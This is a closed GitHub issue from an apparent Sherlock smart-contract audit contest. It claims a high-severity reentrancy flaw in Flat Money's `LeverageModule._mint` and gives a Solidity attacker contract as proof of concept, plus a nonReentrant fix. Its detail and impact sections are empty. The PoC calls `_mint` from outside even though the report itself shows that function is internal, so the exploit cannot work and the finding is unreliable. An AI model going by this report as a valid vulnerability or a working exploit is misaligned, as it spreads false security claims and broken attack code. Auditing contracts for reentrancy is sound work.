sherlock-audit / 2024-03-flat-money-fix-review-contest-judging

3 stars 2 forks source link

BZ - Reentrancy Vulnerability in `LeverageModule._mint(address)` Leading to Loss of Fund, Double Spending and Spend Manipulation #25

Closed sherlock-admin3 closed 4 months ago

sherlock-admin3 commented 4 months ago

BZ

high

Reentrancy Vulnerability in LeverageModule._mint(address) Leading to Loss of Fund, Double Spending and Spend Manipulation

Summary

The function _mint in the LeverageModule contract is vulnerable to reentrancy attacks due to an external call to the _safeMint function, which may invoke a callback function in the recipient contract (IERC721Receiver). If the recipient contract executes malicious code during the callback, it could manipulate the state of the LeverageModule contract or other contracts interacting with it.

Vulnerability Detail

Impact

Code Snippet

https://github.com/sherlock-audit/2024-03-flat-money-fix-review-contest/blob/main/flatcoin-v1/src/LeverageModule.sol#L502

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "./LeverageModule.sol";

contract MaliciousContract is IERC721Receiver {
    LeverageModule public leverageModule;

    constructor(address _leverageModule) {
        leverageModule = LeverageModule(_leverageModule);
    }

    // Implement IERC721Receiver's onERC721Received function
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external override returns (bytes4) {
        // Exploit: reenter the leverageModule's _mint function
        // NOTE: The conditions for reentry and parameters should be controlled
        leverageModule._mint(address(this));

        // Return the function selector for ERC721 acceptance
        return this.onERC721Received.selector;
    }

    // Function to initiate the reentrancy attack
    function exploit() external {
        // Call the _mint function from LeverageModule
        leverageModule._mint(address(this));
    }
}

Tool used

Slither Manual Review

Recommendation

Add nonReentrant modifier from OpenZeppelin's ReentrancyGuard contract to the _mint function signature:

function _mint(address _to) internal nonReentrant {

}